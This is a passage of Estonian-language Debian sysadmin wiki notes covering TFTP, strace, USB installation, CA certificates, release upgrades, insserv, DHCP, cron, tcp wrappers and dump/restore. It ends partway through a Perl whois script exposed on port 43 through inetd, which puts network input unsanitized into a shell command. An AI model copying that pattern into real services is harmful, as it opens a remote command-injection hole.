* http://jamie.mayfirst.org/posts/2010/two-tb-disks/&lt;br /&gt;
* http://www.wensley.org.uk/gpt&lt;br /&gt;
&lt;br /&gt;
===atftpd kasutamine===&lt;br /&gt;
&lt;br /&gt;
atftpd on tftpd server ning atftp vastav klient.&lt;br /&gt;
&lt;br /&gt;
====Server====&lt;br /&gt;
&lt;br /&gt;
Serveri paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
Seejuures küsitakse hulk küsimusi, vaikimisi käivitatakse paigaldamise lõpuks tftp teenus inetd superserverist ning kataloogiks on /srv/tftp.&lt;br /&gt;
&lt;br /&gt;
Tööd juhitakse&lt;br /&gt;
&lt;br /&gt;
* /etc/default/atftpd failis&lt;br /&gt;
&lt;br /&gt;
 USE_INETD=true&lt;br /&gt;
&lt;br /&gt;
* /etc/inetd.conf failis sarnase reaga&lt;br /&gt;
&lt;br /&gt;
 tftp  dgram   udp4   wait   nobody /usr/sbin/tcpd /usr/sbin/in.tftpd --tftpd-timeout 300 \&lt;br /&gt;
   --retry-timeout 5 --no-multicast --maxthread 100 --verbose=5 --logfile /var/log/atftpd.log /srv/tftp&lt;br /&gt;
&lt;br /&gt;
====Klient====&lt;br /&gt;
&lt;br /&gt;
Kliendi paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftp&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ atftp 192.168.10.10&lt;br /&gt;
 tftp&amp;gt; get /srv/tftp/sg200-18-20131217-mirror.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena kopeeritakse fail kliendi käesolevasse kataloogi.&lt;br /&gt;
&lt;br /&gt;
===strace programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nö failisüsteemi tcpdump kasutamiseks sobib esmalt vaadata nt veebiseveri protsesside numbrid ja seejärel öelda&lt;br /&gt;
&lt;br /&gt;
 $ strace -p 19282 -p 19283 -p 19284 -p 19285 -p 19286 -p 19368 -p 20015 -p 29774 -p 29775 -f -e trace=open&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -f - järgib forkisid&lt;br /&gt;
* -e määratleb, et jälgitakse failiavamisi&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* kui kasutada mitu korda -e parameetrit, siis kehtestub ainult viimane kasutamine&lt;br /&gt;
* kui kasutada -e järel mitut väärtust, nt '-e trace=read,write', siis väärtused OR-itakse kokku&lt;br /&gt;
* kui on soov jälgida konkreetse file descriptori kasutusi, siis tuleb strace väljundi teksti töödelda grep vms üldiste vahenditega&lt;br /&gt;
* shelli protsessi on huvitav strace'ida teisest aknast&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://myhowto.org/solving-problems/7-exploring-system-internals-with-lsof-and-strace/&lt;br /&gt;
* http://www.noah.org/wiki/Debugging_notes&lt;br /&gt;
&lt;br /&gt;
===Debian Squeeze paigaldamine USB pulgalt===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze operatsiooniüsteemi USB pulgalt paigaldamise eeldusteks on&lt;br /&gt;
&lt;br /&gt;
* kasutada on olemasolev võrguühendusega Linux arvuti&lt;br /&gt;
* installeeritav arvuti boodib USB pulgalt&lt;br /&gt;
* installeeritava arvuti saab ühendada võrku&lt;br /&gt;
&lt;br /&gt;
USB pulk tuleb Debian Squeeze paigaldamiseks ettevalmistada järgmiselt&lt;br /&gt;
&lt;br /&gt;
* vastaku USB pulgale seade /dev/sdf, pulk peab olema monteerimata olekus, st öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* lähtudes aadressilt http://www.debian.org/devel/debian-installer/ kopeerida sobivad boot.img.gz ning netinst.iso failid, nt&lt;br /&gt;
&lt;br /&gt;
 # http://ftp.nl.debian.org/debian/dists/testing/main/installer-amd64/current/images/hd-media/boot.img.gz&lt;br /&gt;
 # http://cdimage.debian.org/cdimage/squeeze_di_rc1/amd64/iso-cd/debian-sq-di-rc1-amd64-netinst.iso&lt;br /&gt;
&lt;br /&gt;
* kopeerida boot.img.gz pulgale öeldes&lt;br /&gt;
&lt;br /&gt;
 # zcat boot.img.gz &amp;gt; /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* monteerida pulk ning kopeerida netinst iso&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf&lt;br /&gt;
 # mount /dev/sdf /mnt/sdf&lt;br /&gt;
 # cp debian-sq-di-rc1-amd64-netinst.iso /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
* ainult nn kommertsdraiveritega töötava riistvara kasutamiseks on vajalik lisaks kopeerida arhiiv firmware.tar.gz aadressilt http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/, nt&lt;br /&gt;
&lt;br /&gt;
 # wget http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/squeeze/current/firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
ning pakkida lahti pulga juurikale kataloogi firmware&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf/firmware&lt;br /&gt;
 # tar -C /mnt/sdf/firmware -z -x -f firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb pult lahti monteerida&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
Pulga kasutamiseks tuleb pult ühendada kõnealuse arvutiga, BIOS'ist seadistada käivituma USB pulgalt ning algab tarkvara paigaldus. Paigalduse käigus peaks olema kasutada internetiühendus.&lt;br /&gt;
&lt;br /&gt;
===SSL juur-sertifikaatide lisamine===&lt;br /&gt;
&lt;br /&gt;
Selleks, et süsteemi utiliidid, nt wget tunnustaksid veebiserveri sertifikaati peab olema vastav juur-sertifikaat ära kirjeldatud. Juur-sertifikaadi lisamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* paigaldada pakett ca-certificates&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ca-certificates&lt;br /&gt;
&lt;br /&gt;
* kopeerida uus juur-sertifikaat kataloogi /usr/local/share/ca-certificates (failinimi peab lõppema .crt vastasel korral update-ca-certificates skript seda ei käsitle)&lt;br /&gt;
&lt;br /&gt;
 # cp Juur-LOOMAAED-cacert.pem /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
&lt;br /&gt;
* öelda&lt;br /&gt;
&lt;br /&gt;
 # update-ca-certificates&lt;br /&gt;
&lt;br /&gt;
Tulemusena genereeritakse uued c_rehashid kataloogi /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
 # ls -l /etc/ssl/certs/ | grep Juur&lt;br /&gt;
 lrwxrwxrwx 1 root root     44 Feb  3 14:18 Juur-LOOMAAED.pem -&amp;gt; /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
 lrwxrwxrwx 1 root root     11 Feb  3 14:18 a376ee62.0 -&amp;gt; Juur-LOOMAAED.pem&lt;br /&gt;
&lt;br /&gt;
ning lisatakse ta suurfaili /etc/ssl/certs/ca-certificates.crt.&lt;br /&gt;
&lt;br /&gt;
===Debian v. 4 Etch -&amp;gt; v. 5 Lenny uuendamine===&lt;br /&gt;
&lt;br /&gt;
Kui sources.list failis lenny kasutamise järel apt-get update ütleb vea&lt;br /&gt;
&lt;br /&gt;
  W: There is no public key available for the following key IDs:&lt;br /&gt;
  4D270D06F42584E6&lt;br /&gt;
  W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&lt;br /&gt;
siis aitab paigaldada debian-archive-keyring pakett&lt;br /&gt;
&lt;br /&gt;
  # apt-get install debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
Kui kasutusel on uuemad bnx2 draiveriga käivad võrgukaardid, siis tuleb jälgida, et oleks paigaldatud pakett firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
  # apt-get install firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
===Debian v. 5 Lenny -&amp;gt; v. 6 Squeeze uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 5.0 -&amp;gt; v. 6.0) juhend asub aadresil http://www.debian.org/releases/squeeze/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Uuendamise on oluline tähele panna järgmisi asjaolusid&lt;br /&gt;
&lt;br /&gt;
* asutakse kasutama dash shelli nö süsteemse shellina, mh tähendab see, et /bin/sh -&amp;gt; bash asemel on&lt;br /&gt;
&lt;br /&gt;
 $ ls -l /bin/sh &lt;br /&gt;
 lrwxrwxrwx 1 root root 4 Dec 26  2010 /bin/sh -&amp;gt; dash&lt;br /&gt;
&lt;br /&gt;
* asuda uuendama süsteemi, millele on kõik Lenny uuendused rakendatud&lt;br /&gt;
* asendatakse legacy GRUB GRUB2 alglaaduriga, vajadusel anda pärast uuendust töötavas Squeeze süsteemis käsk upgrade-from-grub-legacy&lt;br /&gt;
* veenduda enne uuendamise protseduuri, et failisüsteemis on piisavalt vaba ruumi&lt;br /&gt;
* asutakse bootloaderis kasutama failisüsteemide plokkseadmetele vastavaid UUID väärtusi&lt;br /&gt;
* eemdalda paketihaldusest mitte paigaldatud tarkvara (nt VMWare Tools)&lt;br /&gt;
* eemaldada /etc/ alt nö käsitsi lisatud start-up skriptid, mis võivad segada automaatset süsteemi migreerimist kasutama insserv käivitusskripte&lt;br /&gt;
&lt;br /&gt;
====Uuendamise protseduur====&lt;br /&gt;
&lt;br /&gt;
* veenduda, et on olemas süsteemist varukoopia&lt;br /&gt;
* rakendada paketihaldusest uuendused vanale süsteemile&lt;br /&gt;
* teha seadistusfailidest koopia, et oleks mugav võrrelda&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc /root/etc-20110522-tootanud-lenny&lt;br /&gt;
 # cp -a /boot /root/boot-20110522-tootanud-lenny&lt;br /&gt;
&lt;br /&gt;
* eemaldada paketihaldusest mitte paigaldatud tarkvara, nt&lt;br /&gt;
&lt;br /&gt;
 # vmware-uninstall.pl&lt;br /&gt;
&lt;br /&gt;
* kasutada /etc/apt/sources.list faili sisuga, uuendamise ajal on security välja kommenteeritud&lt;br /&gt;
&lt;br /&gt;
 deb http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 deb-src http://ftp.ee.debian.org/debian/ squeeze main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 # deb http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 # deb-src http://security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get dist-upgrade -d&lt;br /&gt;
&lt;br /&gt;
* kasutada script'i esitatud küsimuste-vastuste-teadete salvestamiseks, mis töötab üldiselt nii&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
 Script started, file is /root/upgrade-squeezestep.script&lt;br /&gt;
 # date&lt;br /&gt;
 ...&lt;br /&gt;
 # Ctrl-D&lt;br /&gt;
 Script done, file is /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
script tööga kaasneb kaks protsessi&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep scr&lt;br /&gt;
 root      4960  0.0  0.0   5848   572 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
 root      4961  0.0  0.0   5852   460 pts/0    S+   10:36   0:00 script -t -a /root/upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* käivitada script abil salvestamine&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/kernel-udev-upgrade-squeezestep.time -a ~/kernel-udev-upgrade-squeezestep.script&lt;br /&gt;
&lt;br /&gt;
* uuendada tuum ja udev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-image-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
Seejuures pakutakse ja võiks aktsepteerida plokkseadmete UUID väärtuste kasutamist.&lt;br /&gt;
&lt;br /&gt;
 # apt-get install udev&lt;br /&gt;
&lt;br /&gt;
* vajadusel paigaldada non-free firmware draiverid öeldes (nt bnx 10g seadme jaoks)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install firmware-linux-nonfree&lt;br /&gt;
&lt;br /&gt;
* veenduda, et /boot/grub/menu.lst algaadib uue tuumaga, /etc/fstab ühendab külge sobivad failisüsteemid ja alglaadida süsteem&lt;br /&gt;
* veenduda, et failisüsteemis on piisavalt ruumi, käivitada script ja paigaldada muud süsteemi uuendused&lt;br /&gt;
&lt;br /&gt;
 # script -t 2&amp;gt;~/dist-upgrade-squeezestep.time -a ~/dist-upgrade-squeezestep.script&lt;br /&gt;
 # apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
* dash shelli kasutamiseks öeldakse&lt;br /&gt;
&lt;br /&gt;
 The system shell is the default command interpreter for shell scripts.&lt;br /&gt;
 &lt;br /&gt;
 Using dash as the system shell will improve the system's overall performance. It does not alter the shell&lt;br /&gt;
 presented to interactive users. Use dash as the default system shell (/bin/sh)? &lt;br /&gt;
&lt;br /&gt;
* dist-upgrade käigus üritatakse migreerida dependecy-based insserv käivitusskriptidele&lt;br /&gt;
&lt;br /&gt;
 The boot system is prepared to migrate to dependency-based sequencing. This is an irreversible step, but one that is recommended:   &lt;br /&gt;
 it allows the boot process to be optimized for speed and efficiency, and provides a more resilient framework for development.        &lt;br /&gt;
 &lt;br /&gt;
 A full rationale is detailed in /usr/share/doc/sysv-rc/README.Debian. If you choose not to migrate now, you can do so later by&lt;br /&gt;
 running &amp;quot;dpkg-reconfigure sysv-rc&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Migrate legacy boot sequencing to dependency-based sequencing?&lt;br /&gt;
&lt;br /&gt;
* Uuendamisel tuleb kasutaja poolt muudetud seadistusfailid lasta uute nn package maintainer versiooniga üle kirjutada ja pärast muudatused käsitsi kohendada, nimekirja muudetud failidest näeb nt nii&lt;br /&gt;
&lt;br /&gt;
 # grep &amp;quot;Configuration file&amp;quot; dist-upgrade-squeezestep.script&lt;br /&gt;
 Configuration file `/etc/security/limits.conf'&lt;br /&gt;
 Configuration file `/etc/nagios/nrpe.cfg'&lt;br /&gt;
 Configuration file `/etc/sysctl.conf'&lt;br /&gt;
 Configuration file `/etc/rsyslog.conf'&lt;br /&gt;
 Configuration file `/etc/ssh/ssh_config'&lt;br /&gt;
 Configuration file `/etc/apache2/apache2.conf'&lt;br /&gt;
 Configuration file `/etc/apache2/ports.conf'&lt;br /&gt;
 Configuration file `/etc/joe/joerc'&lt;br /&gt;
 Configuration file `/etc/snmp/snmpd.conf'&lt;br /&gt;
 Configuration file `/etc/default/snmpd'&lt;br /&gt;
&lt;br /&gt;
kusjuures asendatud failst salvestatakse reeglina koopia nimele lisades lõppu .dpkg-old, nt&lt;br /&gt;
&lt;br /&gt;
 /etc/snmp/snmpd.conf.dpkg-old&lt;br /&gt;
&lt;br /&gt;
st ülekirjutatud failid leiab nt nii&lt;br /&gt;
&lt;br /&gt;
 # find /etc/ -name \*-old&lt;br /&gt;
&lt;br /&gt;
* vmware tools kompileerimise asemel on alternatiiv kasutada paketti open-vm-tools, kasutaja peab ise otsustama mida eelistada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install open-vm-tools&lt;br /&gt;
 ...&lt;br /&gt;
 Loading open-vm-tools modules: vmhgfsFATAL: Module vmhgfs not found.&lt;br /&gt;
  vmmemctlFATAL: Module vmmemctl not found.&lt;br /&gt;
  vmsyncFATAL: Module vmsync not found.&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # dpkg-reconfigure sysv-rc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda (kui uuendatavas süsteemis mingil põhjusel oli alglaadur paigaldamata paketihaldusest)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install grub-pc&lt;br /&gt;
&lt;br /&gt;
* vajadusel öelda&lt;br /&gt;
&lt;br /&gt;
 # upgrade-from-grub-legacy&lt;br /&gt;
&lt;br /&gt;
* kasutuses mitte olevate pakettide eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # apt-get autoremove&lt;br /&gt;
&lt;br /&gt;
* eemaldada /etc/apt/sources.list failid security eest kommentaarid ja rakendada uuendused&lt;br /&gt;
* kohendada käsitsi paketihaldusest uuendamise käigus vaikeväärtustega asendatud seadistusfailid&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* kui uuendamine peatub seetõttu, et mõne nö ebaolulise programmi käivitusskript ei tööta, siis sobib vastav pakett eemaldada, kui ka see ei õnnestu, siis võiks proovida käivitusskripti sisu asendada millegagi, mis formaalselt toimib, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nagios3 &lt;br /&gt;
 #! /bin/sh&lt;br /&gt;
 exit 0;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 6 Squeeze &amp;gt; v. 7 Wheezy uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 6.0 -&amp;gt; v. 7.0) juhend asub aadresil http://www.debian.org/releases/stable/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Debian v. 7 Wheezy GRUB2 versiooni on number selline&lt;br /&gt;
&lt;br /&gt;
 GNU GRUB  version 1.99-27+deb7u1&lt;br /&gt;
&lt;br /&gt;
Kui 2015 kevadel öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 Hit http://ftp.ee.debian.org wheezy Release.gpg&lt;br /&gt;
 ...&lt;br /&gt;
 Reading package lists... Done                     &lt;br /&gt;
 W: There is no public key available for the following key IDs:&lt;br /&gt;
 7638D0442B90D010&lt;br /&gt;
&lt;br /&gt;
siis aitab&lt;br /&gt;
&lt;br /&gt;
 # apt-get install debian-keyring debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
===Debian v. 8 Jessie -&amp;gt; v. 9 Stretch uuendamine===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi uuendus toimub nagu tavaliselt, kuid viimaks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # aptitude search ?obsolete&lt;br /&gt;
 # aptitude purge ?obsolete&lt;br /&gt;
&lt;br /&gt;
MySQL -&amp;gt; MariaDB uuendus toimub üldiselt automaatselt, aga sobib lõpus öelda (vt ligipääs failist /etc/mysql/debian.cnf)&lt;br /&gt;
&lt;br /&gt;
 # mysql_upgrade -h localhost -u debian-sys-maint -pparool&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/releases/stretch/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MySQL_andmebaasi_kasutamine_operatsioonis%C3%BCsteemiga_Debian#Andmebaasi_uuendamine_MySQL_v._5.5_-.3E_MariaDB_v._10.1&lt;br /&gt;
&lt;br /&gt;
===insserv käivitussüsteemi kasutamine===&lt;br /&gt;
 &lt;br /&gt;
Debian Squeeze v. 6.0 kasutab nn System-V-like käivitusskripte, kusjuures nende tööd saab seadistada insserv tarkvaraga&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/init.d/nfsen &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 set -e&lt;br /&gt;
 &lt;br /&gt;
 ### BEGIN INIT INFO&lt;br /&gt;
 # Provides:             nfsen&lt;br /&gt;
 # Required-Start:       $local_fs $remote_fs $network $time&lt;br /&gt;
 # Required-Stop:        $local_fs $remote_fs $network $time&lt;br /&gt;
 # Should-Start:         $syslog&lt;br /&gt;
 # Should-Stop:          $syslog&lt;br /&gt;
 # Default-Start:        2 3 4 5&lt;br /&gt;
 # Default-Stop:         0 1 6&lt;br /&gt;
 # Short-Description:    NfSen Server&lt;br /&gt;
 ### END INIT INFO&lt;br /&gt;
 &lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 case &amp;quot;$1&amp;quot; in&lt;br /&gt;
   start)&lt;br /&gt;
     echo &amp;quot;Starting NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen start&lt;br /&gt;
     ;;&lt;br /&gt;
   stop)&lt;br /&gt;
     echo &amp;quot;Stopping NfSen server&amp;quot;&lt;br /&gt;
     /srv/nfsen/bin/nfsen stop&lt;br /&gt;
     ;;&lt;br /&gt;
   *)&lt;br /&gt;
      echo &amp;quot;Usage: /etc/init.d/nfsen {start|stop}&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
 esac&lt;br /&gt;
 exit 0&lt;br /&gt;
&lt;br /&gt;
/etc/rc3.d jt rc kataloogide alla tekivad lingid öeldes&lt;br /&gt;
&lt;br /&gt;
 # insserv nfsen&lt;br /&gt;
&lt;br /&gt;
Käivitusskriptile linkide eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # insserv -r nfsen&lt;br /&gt;
&lt;br /&gt;
Lisaks -n võtme lisamine ainult näitab, mis toimuks&lt;br /&gt;
&lt;br /&gt;
 # insserv -n -d nfsen&lt;br /&gt;
&lt;br /&gt;
Required-Start: rea lõppu lisades nt 'postgresql' tulemusena käivitatakse kõnealune programm peale PostgreSQL andmebaasi.&lt;br /&gt;
&lt;br /&gt;
Lisamaterjalid:&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts&lt;br /&gt;
* http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot&lt;br /&gt;
&lt;br /&gt;
===Dhcpd serveri kasutamine===&lt;br /&gt;
&lt;br /&gt;
ISC DHCP tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dhcp3-server&lt;br /&gt;
&lt;br /&gt;
DHCP serveri tööd juhib seadistusfail, nt&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/dhcp/dhcpd.conf&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 shared-network auul {&lt;br /&gt;
   option domain-name &amp;quot;auul&amp;quot;;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 &lt;br /&gt;
   subnet 192.168.50.0 netmask 255.255.255.0 {&lt;br /&gt;
     range 192.168.50.200 192.168.50.224;&lt;br /&gt;
     option routers 192.168.50.10;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Lisaks näidatakse failis /etc/default/isc-dhcp-server millistel võrguseadmetel teenust pakutakse&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/isc-dhcp-server&lt;br /&gt;
 ...&lt;br /&gt;
 INTERFACES=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DHCP serveri käivitab skript&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/isc-dhcp-server stop|start&lt;br /&gt;
&lt;br /&gt;
===At tööd===&lt;br /&gt;
&lt;br /&gt;
Töö tekitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;quot;date &amp;gt;&amp;gt; /tmp/test.log&amp;quot; | at -t 201509250950&lt;br /&gt;
&lt;br /&gt;
Tööde nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atq&lt;br /&gt;
 10      Fri Sep 25 09:50:00 2015 a imre&lt;br /&gt;
&lt;br /&gt;
Tehtud tööd eemaldatakse automaatselt, tuleviku tööde eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 $ atrm 10&lt;br /&gt;
&lt;br /&gt;
Töö sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ at -c 10&lt;br /&gt;
&lt;br /&gt;
===Cron tööd===&lt;br /&gt;
&lt;br /&gt;
Debiani cron töid juhivad sellised seadistusfailid&lt;br /&gt;
&lt;br /&gt;
* /etc/crontab&lt;br /&gt;
* /etc/cron.d - kataloogis sisalduvaid faile käsitletakse cron kirjeldusfailidena, /etc/crontab formaadis (st sisaldub user väli)&lt;br /&gt;
* /etc/cron.daily&lt;br /&gt;
* /etc/cron.hourly&lt;br /&gt;
* /etc/cron.monthly&lt;br /&gt;
* /etc/cron.weekly&lt;br /&gt;
* /var/spool/cron/kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* man cron&lt;br /&gt;
&lt;br /&gt;
===Anacron===&lt;br /&gt;
&lt;br /&gt;
Anacron http://anacron.sourceforge.net/ ...&lt;br /&gt;
&lt;br /&gt;
===tcp wrapper teegi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Paljud Debiani programmid on kompileeritud vastu libwrap teeki, mis tähendab, et nende tööd saab kontrollida /etc/hosts.allow ja /etc/hosts.deny failidest. Nt nrpe deemoni puhul selleks, et lubada ligipääsu võrgust 172.18.20.0/24 sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.allow&lt;br /&gt;
 nrpe: 172.18.20.0/24&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/hosts.deny&lt;br /&gt;
 nrpe: ALL&lt;br /&gt;
&lt;br /&gt;
Seadistustes tehtud muudatused kehtestuvad kohe, midagi ei ole vaja reloadida ega restartida. Seda kas programm on kompileeritud vastu librwap teeki saab küsida&lt;br /&gt;
&lt;br /&gt;
 # ldd /usr/sbin/nrpe | grep libwrap&lt;br /&gt;
 libwrap.so.0 =&amp;gt; /lib/libwrap.so.0 (0x00007fd00518b000)&lt;br /&gt;
&lt;br /&gt;
===dump ja restore kasutamine===&lt;br /&gt;
&lt;br /&gt;
Dump faili moodustamiseks&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/lvmkoitenimi&lt;br /&gt;
 # dump -0uf /tmp/failinimi.dump /dev/system/lvmkoitenimi&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Dumping /dev/system/lvmkoitenimi (an unlisted file system) to /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Label: none&lt;br /&gt;
  DUMP: Writing 10 Kilobyte records&lt;br /&gt;
  DUMP: mapping (Pass I) [regular files]&lt;br /&gt;
  DUMP: mapping (Pass II) [directories]&lt;br /&gt;
  DUMP: estimated 66671 blocks.&lt;br /&gt;
  DUMP: Volume 1 started with block 1 at: Tue Jul 12 23:45:47 2011&lt;br /&gt;
  DUMP: dumping (Pass III) [directories]&lt;br /&gt;
  DUMP: dumping (Pass IV) [regular files]&lt;br /&gt;
  DUMP: Closing /tmp/failinimi.dump&lt;br /&gt;
  DUMP: Volume 1 completed at: Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Volume 1 66500 blocks (64.94MB)&lt;br /&gt;
  DUMP: Volume 1 took 0:00:01&lt;br /&gt;
  DUMP: Volume 1 transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: 66500 blocks (64.94MB) on 1 volume(s)&lt;br /&gt;
  DUMP: finished in 1 seconds, throughput 66500 kBytes/sec&lt;br /&gt;
  DUMP: Date of this level 0 dump: Tue Jul 12 23:45:46 2011&lt;br /&gt;
  DUMP: Date this dump completed:  Tue Jul 12 23:45:48 2011&lt;br /&gt;
  DUMP: Average transfer rate: 66500 kB/s&lt;br /&gt;
  DUMP: DUMP IS DONE&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -0 - tekitada full dump&lt;br /&gt;
* -u - kirjutada tegevuse kohta jälg /var/lib/dumpdates faili&lt;br /&gt;
* -f - salvestada dump näidatud faili&lt;br /&gt;
&lt;br /&gt;
Dump failist taastamiseks&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/system/lvmkoitenimi_2 /mnt/lvmkoitenimi_2&lt;br /&gt;
 # cd /mnt/lvmkoitenimi_2&lt;br /&gt;
 # restore -rf /tmp/failinimi.dump&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -r - taastada dumpis käesolevasse kataloogi, mis on kuhu on monteeritud tühi failisüsteem&lt;br /&gt;
* -f - kasutatav dump fail&lt;br /&gt;
&lt;br /&gt;
===inetd===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze paketihaldusest saab valida erinevaid inetd servereid, openbsd-inetd paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openbsd-inetd&lt;br /&gt;
&lt;br /&gt;
2011. aasta keskel v. 1.3.5 sisaldab libexec/Lookup.pm teeki, kuhu on sisse kirjutatud whois.cyberabuse.org serveri nimi, kuid see server ei paku enam sobival viisil teenust ning tulemuseks on, et NfSen liideses ei saa enam ip aadressidel teha päringuid. Üheks alternatiiviks on seadistada käima lokaalne whois teenus, nt ühendades 43/tcp port ja sellise Perli skripti sisend ja väljund kokku inetd abil&lt;br /&gt;
&lt;br /&gt;
 # cat /srv/data/nfsen/libexec/whois.pl &lt;br /&gt;
 #!/usr/bin/perl&lt;br /&gt;
 my $filename = &amp;lt;&amp;gt;;&lt;br /&gt;
 &lt;br /&gt;
 foreach $rida($filename) {&lt;br /&gt;
   $vastus=`/usr/bin/whois $rida`;&lt;br /&gt;
